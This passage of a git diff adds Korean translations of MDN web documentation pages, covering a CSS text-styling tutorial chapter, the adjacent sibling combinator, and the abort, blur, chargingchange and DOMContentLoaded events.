+                  <tr>
+                    <th style="padding-right: .5em;">Arctic:</th>
+                    <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7;">13,000</td>
+                    <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7; border-right: 0px;">1,200</td>
+                  </tr>
+                  <tr>
+                    <th style="padding-right: .5em;">Atlantic:</th>
+                    <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7;">87,000</td>
+                    <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7; border-right: 0px;">3,900</td>
+                  </tr>
+                  <tr>
+                    <th style="padding-right: .5em;">Pacific:</th>
+                    <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7;">180,000</td>
+                    <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7; border-right: 0px;">4,000</td>
+                  </tr>
+                  <tr>
+                    <th style="padding-right: .5em;">Indian:</th>
+                    <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7;">75,000</td>
+                    <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7; border-right: 0px;">3,900</td>
+                  </tr>
+                  <tr>
+                    <th style="padding-left: .5em; padding-right: .5em;">Southern:</th>
+                    <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7;">20,000</td>
+                    <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7; border-right: 0px;">4,500</td>
+                  </tr>
+                  <tr>
+                    <th style="padding-right: .5em; color: blue;">Total:</th>
+                    <td style="background-color: #cee; padding: .5em .5em .5em 3em; border-top: .2em solid #7a7;">361,000</td>
+                    <td style="background-color: #cee; padding: .5em .5em .5em 3em; border-top: .2em solid #7a7;"> </td>
+                  </tr>
+                  <tr>
+                    <th style="padding-right: .5em; color: blue;">Mean:</th>
+                    <td style="background-color: #cee; padding: .5em .5em .5em 3em;">72,000</td>
+                    <td style="background-color: #cee; padding: .5em .5em .5em 3em;">3,800</td>
+                  </tr>
+                </tbody>
+              </table>
+            </div>
+            <p style="font: italic 100% sans-serif; text-align: right; border-top: .4em solid #4ca; margin: 1em 0px 0px 0px;">Oceans</p>
+          </div>
+        </td>
+      </tr>
+    </tbody>
+  </table>
+  <p> </p>
+</div>
+<p><a href="/en/CSS/Getting_Started/Challenge_solutions#Tables" title="en/CSS/Getting started/Challenge solutions#Tables">정답 확인</a></p>
+<h2 id="다음에는">다음에는?</h2>
+<p>{{ nextPage("/en-US/docs/CSS/Getting_Started/Media", "미디어") }}이 장이 CSS의 속성과 그 변수에 대해 설명하는 마지막 장이다. 전체 속성 및 변수에 대해 확인 하려면 CSS 사양서의 <a class="external" href="http://www.w3.org/TR/CSS21/propidx.html">Full property table</a>를 보라.</p>
+<p>다음에는 CSS의 Stylesheet구조와 목적에 대해 <a href="/en-US/docs/CSS/Getting_Started/Media" title="/en-US/docs/CSS/Getting_Started/Media">다시한번 살펴보자</a>.</p>
diff --git a/files/ko/web/css/시작하기/텍스트_스타일/index.html b/files/ko/web/css/시작하기/텍스트_스타일/index.html
new file mode 100644
index 0000000000..2a99ee4f51
--- /dev/null
+++ b/files/ko/web/css/시작하기/텍스트_스타일/index.html
@@ -0,0 +1,149 @@
+---
+title: 텍스트 스타일
+slug: Web/CSS/시작하기/텍스트_스타일
+translation_of: Learn/CSS/Styling_text/Fundamentals
+---
+<p>{{ CSSTutorialTOC() }}</p>
+
+<div class="warning"><strong>중요</strong>: 번역은 제가 필요한 부분 및 확인 가능한 부분만 진행 하였으며 변역된 날자는(2013/03/18)이며 문서 변경이 잦아 오늘 이후는 원문과 번역이 다를 수 있습니다. 참고하세요. 미 번역/변경된 부분은 추가로 다른 분이 해 주실 것으로 믿습니다.</div>
+
+<p>{{previousPage("/en-US/docs/CSS/Getting_Started/Readable_CSS", "알기 쉬운 CSS")}}<span class="seoSummary"><a href="/en/CSS/Getting_Started" title="en/CSS/Getting Started">CSS 시작하기 </a>안내서 7번째 장; 여기서는 텍스트 스타일에 대해 좀더 많은 예를 살펴 보자. 예제 Stylesheet를 다른 글씨체로 바꿔 보자.</span></p>
+
+<h2 class="clearLeft" id="정보_텍스트_스타일">정보: 텍스트 스타일</h2>
+
+<p>CSS는 몇가지 텍스트 스타일에 대한 속성이 있다.</p>
+
+<p>여러가지에 대해 한번에 편리하게 사용할 수 있는 {{ cssxref("font") }}라는 속성에 대해 알아보자. 예를 들면</p>
+
+<ul>
+ <li>굵게, 기울기, 작은 대문자체</li>
+ <li>크기</li>
+ <li>라인 높이</li>
+ <li>글씨체</li>
+</ul>
+
+<div class="tuto_example">
+<div class="tuto_type">예제</div>
+
+<pre class="brush:css">p {font: italic 75%/125% "Comic Sans MS", cursive;}
+</pre>
+
+<p>위의 규칙은 모든 단락내용을 italic폰트로 설정 하는 등의 다양한 설정을 한다.</p>
+
+<p>폰트 크기를 부모 element의 단락 크기의 3/4크기로 하고 라인 크기를 보통보다 좀 큰 125%크기로 한다.</p>
+
+<p>글자체는 Comic Sans MS이다. 하지만 이 글씨체가 유효하지 않다면 브라우저는 기본 글씨체인 손글씨체를 사용 할 것이다.</p>
+
+<p>이 규칙에는 굵기와 작은 대문자 속성을 무력화 하는 오류를 포함하고 있다.</p>
+</div>
+
+<h3 id="글씨체">글씨체</h3>
+
+<p>보통 Document에서 가용한 글씨체에는 어떤 것이 있는지 알고 작성할 수는 없다. 대체 가능한 글씨체를 같이 설정 해 주는 것도 좋은 방법이다.</p>
+
+<p>맨 마지막에는 기본 글씨체<code>(serif</code>, <code>sans-serif</code>, <code>cursive</code>, <code>fantasy</code> or <code>monospace</code>)를 추가 설정 해 주는 것이 좋다.</p>
+
+<p>만약 document에서 지원 하지 않는 글씨체라면 브라우저가 다른 글씨체로 대체 할 것이다. 예를 들면, Document내에는 설정된 글씨체에서 지원 되지 않는 특수 문자를 포함 하는 경우 같은 것을 말한다. 브라우저는 자동적으로 다른 글씨체에서 위의 특수문자를 지원 한다면 그 글씨체를 사용하여 표시 할 것이다.</p>
+
+<p>글씨체를 설정 하기 위해서는 {{ cssxref("font-family") }}속성을 사용 하라.</p>
+
+<h3 id="글씨_크기">글씨 크기</h3>
+
+<p>브라우저는 보여지고 있는 페이지의 기본 글씨체의 크기와 텍스트의 크기를 바꿀 수 있어서 사용자에 맞는 것을 사용 할 수 있게 해준다.</p>
+
+<p><code>폰트 크기는 small, medium, large등 정해진 사이즈도 사용할 수 있다</code>. 또한 부모 글씨체 크기와 비교된(smaller, larger, 150%, 1.5 em) 값으로 설정 가능하다. 'em'은 'm'자의 폭을 말한다. 따라서 부모 element보다 1.5배 크기의 글씨크기를 말한다.</p>
+
+<p><code>14px</code> (14 pixels)와 같이 표시장치나 출력장치의 실체 크기로 지정 할 수도 있다. 이 경우는 크기를 바꿀수 없으므로 시각장애인들에게 불편할 수 있다. 이런 경우를 위해서는 document의 최 상위 element에서부터 정해진 크기 값중 하나인 'medium'으로 해 놓으면 하위 element는 그와 비교해 상대적인 값으로 크기를 설정 할 수 있다.</p>
+
+<p>글씨 크기를 설정 하려면 {{ cssxref("font-size") }}를 사용하라.</p>
+
+<h3 id="줄_높이">줄 높이</h3>
+
+<p>Line height는 줄간 높이를 말한다. 단락이 여러줄로 구성되었다면 보통보다 큰(larger-than-normal) 간격이 특히 작은 글씨라면 읽기 편하다.</p>
+
+<p>줄 높이 설정은 {{ cssxref("line-height") }}속성을 사용하라.</p>
+
+<h3 id="장식(Decoration)">장식(Decoration)</h3>
+
+<p>별도의 {{ cssxref("text-decoration") }} 속성으로 밑줄, 취소선 같은 다른 스타일 설정 할 수 있다. 설정된 장식(Decoration)속성을 없애기 위해서 값을 none을 쓸 수 있다.</p>
+
+<h3 id="다른_속성">다른 속성</h3>
+
+<p>기울기 속성 {{ cssxref("font-style") }}<code>: italic;</code><br>
+ 굵은 속성 <code>{{ cssxref("font-weight") }}: bold;</code><br>
+ 작은 대문자 <code>{{ cssxref("font-variant") }}: small-caps;</code></p>
+
+<p>위의 속성을 해제하려면 <code>normal</code> 또는 <code>inherit</code>로 설정하라.</p>
+
+<div class="tuto_details">
+<div class="tuto_type">좀더 자세히</div>
+
+<p>텍스트 스타일은 다양한 방법으로 설정 가능하다.</p>
+
+<p>예를 들면, 위에 언급한 속성들에 다른 사용 가능한 값들이 더 있다.</p>
+
+<p>복잡한 stylesheet에서는, 원치 않는 오류(설정 값이 다르게 나타나는 오류) 방지를 위해 약칭 <code>font 속성 사용을 피하라.</code></p>
+
+<p>글씨체에 관한 모든 속성을 보려면, CSS 사양서의 <a class="external" href="http://www.w3.org/TR/CSS21/fonts.html">Fonts</a>부분을 보라. 다양한 텍스트 효과를 위해서는 <a class="external" href="http://www.w3.org/TR/CSS21/text.html">Text</a> 부분을 참고 하라.</p>
+
+<p>사용자 시스템 환경에 설치된 폰트 외에 다른 폰트를 설정하려면 <a href="/en/css/@font-face" title="https://developer.mozilla.org/en/css/@font-face">@font-face</a>로 온라인에 있는 폰트 설정 할 수 있다. 이를 위해서는 브라우저에서 해당 규칙을 지원해야 한다.</p>
+</div>
+
+<h2 id="액션_글씨체_설정">액션: 글씨체 설정</h2>
+
+<p>간단한 document에서는, {{ HTMLElement("body") }} element의 글씨체를 설정 할 수 있으며, 그 이후에서는 이 속성을 상속한다.</p>
+
+<ol>
+ <li>예제 CSS 편집 해 보자.</li>
+ <li>예제의 Document에 아래 규칙을 추가 하라. CSS파일의 위쪽은 논리적인 곳(?)이다. 하지만 어디에 추가하든 그 속성은 적용 될 것이다.
+  <pre class="eval">body {font: 16px "Comic Sans MS", cursive;}
+</pre>
+ </li>
+ <li>주석을 탭이나 공백과 함께 잘 배치해 보라.</li>
+ <li>저장하고 브라우저를 다시 읽어보라. 해당 기기에 italic 스타일이 지원되지 않는 Comic Sans MS나 손글씨체 글씨체가 있다면 브라우저는 다음 예제의 첫출과 같이 italic이 지원되는 다른 글씨체로 바꿔서 보여 줄 것이다.
+  <table style="border: 2px outset #36b; padding: 1em;">
+   <tbody>
+    <tr>
+     <td style="font: italic 16px 'Comic Sans MS', cursive; color: blue;"><strong style="color: red;">C</strong>ascading <strong style="color: green;">S</strong>tyle <strong style="color: green;">S</strong>heets</td>
+    </tr>
+    <tr>
+     <td style="font: 16px 'Comic Sans MS', cursive; color: blue;"><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets</td>
+    </tr>
+   </tbody>
+  </table>
+ </li>
+ <li>브라우저 메뉴에서 <strong>View &gt; Text Size &gt; Increase</strong> (or <strong>View &gt; Zoom &gt; Zoom In</strong>)을 선택 해 보라. 위에 16 pixels로 스타일 속성을 주었더라도, 화면에는 그 글씨 크기가 바뀔 것이다.</li>
+</ol>
+
+<div class="tuto_example">
+<div class="tuto_type">도전</div>
+
+<p>다른것은 그대로 두고, 단어 앞 첫 글자 6개만 기본 sarif글씨체로 바꾸고 브라우저 기본 사이즈의 2배 크기로 변경 해 보라.</p>
+
+<table>
+ <tbody>
+  <tr>
+   <td style="font: italic 16px 'Comic Sans MS', cursive; color: blue;"><strong style="color: red; font: 200% serif;">C</strong>ascading <strong style="color: green; font: 200% serif;">S</strong>tyle <strong style="color: green; font: 200% serif;">S</strong>heets</td>
+  </tr>
+  <tr>
+   <td style="font: 16px 'Comic Sans MS', cursive; color: blue;"><strong style="color: red; font: 200% serif;">C</strong>ascading <strong style="color: red; font: 200% serif;">S</strong>tyle <strong style="color: red; font: 200% serif;">S</strong>heets</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="tuto_details" id="tutochallenge">
+<div class="tuto_type">Possible solution</div>
+
+<p>Add the following style declaration to the <code>strong</code> rule:</p>
+
+<pre class="brush: css">  font: 200% serif;
+</pre>
+If you use separate declarations for <code>font-size</code> and <code>font-family</code>, then the <code>font-style</code> setting on the first paragraph is <em>not</em> overridden.
+
+<p> </p>
+<a class="hideAnswer" href="#challenge">Hide solution</a></div>
+<a href="#tutochallenge" title="Display a possible solution for the challenge">정답 확인</a></div>
+
+<h2 id="다음에는">다음에는?</h2>
+
+<p>{{nextPage("/en-US/docs/CSS/Getting_Started/Color", "색상")}}이미 예제에서 몇가지 색상을 사용 해 왔다. <a href="/en-US/docs/CSS/Getting_Started/Color" title="/en-US/docs/CSS/Getting_Started/Color">다음 장에서는</a> 기본 색생과 다른 색상 표현 법에 대해 알아본다.</p>
diff --git a/files/ko/web/css/인접_형제_선택자/index.html b/files/ko/web/css/인접_형제_선택자/index.html
new file mode 100644
index 0000000000..4446172ab3
--- /dev/null
+++ b/files/ko/web/css/인접_형제_선택자/index.html
@@ -0,0 +1,83 @@
+---
+title: 인접 형제 결합자
+slug: Web/CSS/인접_형제_선택자
+tags:
+  - CSS
+  - Reference
+  - Selectors
+translation_of: Web/CSS/Adjacent_sibling_combinator
+---
+<div>{{CSSRef("Selectors")}}</div>
+
+<p><strong>인접 형제 결합자</strong>(<code>+</code>)는 앞에서 지정한 요소의 <strong>바로 다음</strong>에 위치하는 형제 요소만 선택합니다.</p>
+
+<pre class="brush: css">/* Paragraphs that come immediately after any image */
+img + p {
+  font-weight: bold;
+}
+</pre>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">former_element + target_element { <em>style properties</em> }
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">li:first-of-type + li {
+  color: red;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;One&lt;/li&gt;
+  &lt;li&gt;Two!&lt;/li&gt;
+  &lt;li&gt;Three&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제", "100%", 100)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#adjacent-sibling-combinators', 'next-sibling combinator')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#adjacent-sibling-combinators', 'Adjacent sibling combinator')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#adjacent-selectors', 'Adjacent sibling selectors')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("css.selectors.adjacent_sibling")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/General_sibling_combinator">일반 형제 결합자</a></li>
+</ul>
diff --git a/files/ko/web/events/abort/index.html b/files/ko/web/events/abort/index.html
new file mode 100644
index 0000000000..c7295a54a7
--- /dev/null
+++ b/files/ko/web/events/abort/index.html
@@ -0,0 +1,73 @@
+---
+title: abort
+slug: Web/Events/abort
+tags:
+  - DOM
+  - Event
+  - Reference
+  - 레퍼런스
+  - 이벤트
+translation_of: Web/API/HTMLMediaElement/abort_event
+---
+<p><strong><code>abort</code></strong> 이벤트는 리소스의 로딩이 중단되었을 때, 발생합니다.</p>
+
+<h2 id="개요">개요</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">스펙</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-abort">DOM L3</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">인터페이스</dt>
+ <dd style="margin: 0 0 0 120px;">유저 인터페이스에서 발생하면 UIEvent, 그렇지 않으면 Event.</dd>
+ <dt style="float: left; text-align: right; width: 120px;">버블</dt>
+ <dd style="margin: 0 0 0 120px;">안됨</dd>
+ <dt style="float: left; text-align: right; width: 120px;">취소 가능</dt>
+ <dd style="margin: 0 0 0 120px;">안됨</dd>
+ <dt style="float: left; text-align: right; width: 120px;">타겟</dt>
+ <dd style="margin: 0 0 0 120px;">Element</dd>
+ <dt style="float: left; text-align: right; width: 120px;">디폴트 액션</dt>
+ <dd style="margin: 0 0 0 120px;">없음</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">속성</th>
+   <th scope="col">타입</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/EventTarget" title="EventTarget is an interface implemented by objects that can receive events and may have listeners for them."><code>EventTarget</code></a></td>
+   <td>이벤트 타겟 (DOM tree의 최상위 타겟).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a></td>
+   <td>이벤트의 타입</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>이벤트가 버블링 되는지 안되는지</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>이벤트가 취소 가능한지 아닌지</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td><a class="new" href="/en-US/docs/Web/API/WindowProxy" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>WindowProxy</code></a></td>
+   <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (document의 <code>window</code> )</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>0.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/events/blur/index.html b/files/ko/web/events/blur/index.html
new file mode 100644
index 0000000000..3bbcc6acb0
--- /dev/null
+++ b/files/ko/web/events/blur/index.html
@@ -0,0 +1,154 @@
+---
+title: blur
+slug: Web/Events/blur
+translation_of: Web/API/Element/blur_event
+---
+<p><code>blur</code> 이벤트는 엘리먼트의 포커스가 해제되었을때 발생합니다. 이 이벤트와 <code><a href="/en-US/docs/Mozilla_event_reference/focusout">focusout</a></code> 이벤트의 가장 다른점은 <code><a href="/en-US/docs/Mozilla_event_reference/focusout">focusout</a></code> 은 이벤트 버블링이 발생합니다.</p>
+
+<h2 id="General_info">General info</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Specification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-blur">DOM L3</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("FocusEvent")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">Element</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Default Action</dt>
+ <dd style="margin: 0 0 0 120px;">None.</dd>
+</dl>
+
+<p>{{NoteStart}} 이 이벤트가 처리될때 {{domxref("Document.activeElement")}}의 값이 브라우저마다 다릅니다 ({{bug(452307)}}): IE10은 이 값을 포커스가 옮겨가는 엘리먼트에 추가하지만, 파이어폭스와 크롬은 도큐먼트의 <code>body</code> 에 추가합니다.{{NoteEnd}}</p>
+
+<h2 id="Properties">Properties</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>Event target (DOM element)</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+  <tr>
+   <td><code>relatedTarget</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}} (DOM element)</td>
+   <td>null</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="이벤트_위임">이벤트 위임</h2>
+
+<p>이 이벤트에 이벤트 위임을 적용하는 방법은 두가지가 있습니다 : 브라우저가 지원한다면 <code>focusout</code> 이벤트를 사용하거나,   <code><a href="/en-US/docs/DOM/element.addEventListener">addEventListener</a></code>의 "useCapture" 파라미터를 <code>true</code>로 설정하세요:</p>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush:html;">&lt;form id="form"&gt;
+  &lt;input type="text" placeholder="text input"&gt;
+  &lt;input type="password" placeholder="password"&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="JavaScript_Content">JavaScript Content</h3>
+
+<pre class="brush: js">var form = document.getElementById("form");
+form.addEventListener("focus", function( event ) {
+  event.target.style.background = "pink";
+}, true);
+form.addEventListener("blur", function( event ) {
+  event.target.style.background = "";
+}, true);</pre>
+
+<p>{{EmbedLiveSample('Event_delegation')}}</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>6</td>
+   <td>12.1</td>
+   <td>5.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.0</td>
+   <td>53</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.0</td>
+   <td>12.1</td>
+   <td>5.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Prior to Gecko 24 {{geckoRelease(24)}} the interface for this event was {{domxref("Event")}}, not {{domxref("FocusEvent")}}. See ({{bug(855741)}}).</p>
+
+<h2 id="Related_Events">Related Events</h2>
+
+<ul>
+ <li>{{event("focus")}}</li>
+ <li>{{event("blur")}}</li>
+ <li>{{event("focusin")}}</li>
+ <li>{{event("focusout")}}</li>
+</ul>
diff --git a/files/ko/web/events/chargingchange/index.html b/files/ko/web/events/chargingchange/index.html
new file mode 100644
index 0000000000..e957315849
--- /dev/null
+++ b/files/ko/web/events/chargingchange/index.html
@@ -0,0 +1,66 @@
+---
+title: chargingchange
+slug: Web/Events/chargingchange
+tags:
+  - Event
+  - events
+translation_of: Archive/Events/chargingchange
+---
+<p><code>chargingchange</code> 이벤트<code>는 </code><a href="/en-US/docs/DOM/window.navigator.battery">battery API</a> 의 <code>charging 속성이 변할때 발생 합니다.</code></p>
+
+<h2 id="기본_정보">기본 정보</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Specification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="https://dvcs.w3.org/hg/dap/raw-file/tip/battery/Overview.html">Battery</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">Event</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;"><code>navigator.battery</code></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Default Action</dt>
+ <dd style="margin: 0 0 0 120px;">None</dd>
+</dl>
+
+<h2 id="Properties" name="Properties">Properties</h2>
+
+<p>The event callback doesn't receive any event objects, but properties can be read from the {{domxref("BatteryManager")}} object received from the {{domxref("navigator.getBattery")}} method.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Property</td>
+   <td class="header">Type</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td>{{domxref("BatteryManager.charging")}}</td>
+   <td>boolean</td>
+   <td>The system's battery charging status. Returns <code>true</code> if the battery is charging, if the state of the system's battery is not determinable, or if no battery is attached to the system. Returns <code>false</code> if the battery is discharging. Read only.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush: js">navigator.getBattery().then(function(battery) {
+
+  console.log("Battery charging? " + battery.charging ? "Yes" : "No");
+
+  battery.addEventListener('chargingchange', function() {
+    console.log("Battery charging? " + battery.charging ? "Yes" : "No");
+  });
+
+});
+</pre>
+
+<h2 id="관계_된_이벤트">관계 된 이벤트</h2>
+
+<ul>
+ <li>{{Event("chargingtimechange")}}</li>
+ <li>{{Event("dischargingtimechange")}}</li>
+ <li>{{Event("levelchange")}}</li>
+</ul>
diff --git a/files/ko/web/events/domcontentloaded/index.html b/files/ko/web/events/domcontentloaded/index.html
new file mode 100644
index 0000000000..24db56aa91
--- /dev/null
+++ b/files/ko/web/events/domcontentloaded/index.html
@@ -0,0 +1,77 @@
+---
+title: DOMContentLoaded
+slug: Web/Events/DOMContentLoaded
+tags:
+  - Event
+  - Reference
+  - Web
+  - Window
+translation_of: Web/API/Window/DOMContentLoaded_event
+---
+<div>{{APIRef}}</div>
+
+<p><strong><code>DOMContentLoaded</code></strong> 이벤트는 초기 HTML 문서를 완전히 불러오고 분석했을 때 발생합니다. 스타일 시트, 이미지, 하위 프레임의 로딩은 기다리지 않습니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">확산</th>
+   <td>예</td>
+  </tr>
+  <tr>
+   <th scope="row">취소 가능</th>
+   <td>예 (although specified as a simple event that isn't cancelable)</td>
+  </tr>
+  <tr>
+   <th scope="row">인터페이스</th>
+   <td>{{domxref("Event")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">이벤트 처리기 속성</th>
+   <td>아니오</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><code>DOMContentLoaded</code>의 원본 대상은 다 불러온 {{domxref("Document")}}입니다. You can listen for this event on the <code>Window</code> interface to handle it in the capture or bubbling phases. For full details on this event please see the page on the Document: {{domxref("Document/DOMContentLoaded_event", "DOMContentLoaded")}} event.</p>
+
+<p>A different event, {{domxref("Window/load_event", "load")}}, should be used only to detect a fully-loaded page. It is a common mistake to use <code>load</code> where <code>DOMContentLoaded</code> would be more appropriate.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="기본_용도">기본 용도</h3>
+
+<pre class="brush: js notranslate">window.addEventListener('DOMContentLoaded', (event) =&gt; {
+    console.log('DOM fully loaded and parsed');
+});
+</pre>
+
+<h2 id="사양">사양</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">사양</th>
+   <th scope="col">상태</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'indices.html#event-domcontentloaded')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.DOMContentLoaded_event")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>Related events: {{domxref("Window/load_event", "load")}}, {{domxref("Document/readystatechange_event", "readystatechange")}}, {{domxref("Window/beforeunload_event", "beforeunload")}}, {{domxref("Window/unload_event", "unload")}}</li>
+ <li>This event on {{domxref("Document")}} targets: {{domxref("Document/DOMContentLoaded_event", "DOMContentLoaded")}}</li>
+</ul>
diff --git a/files/ko/web/events/domsubtreemodified/index.html b/files/ko/web/events/domsubtreemodified/index.html
new file mode 100644
index 0000000000..b40ee6b069
--- /dev/null
+++ b/files/ko/web/events/domsubtreemodified/index.html
@@ -0,0 +1,17 @@
+---
+title: DOMSubtreeModified
+slug: Web/Events/DOMSubtreeModified
+translation_of: Archive/Events/DOMSubtreeModified
+---
+<p>{{ draft() }}</p>
+
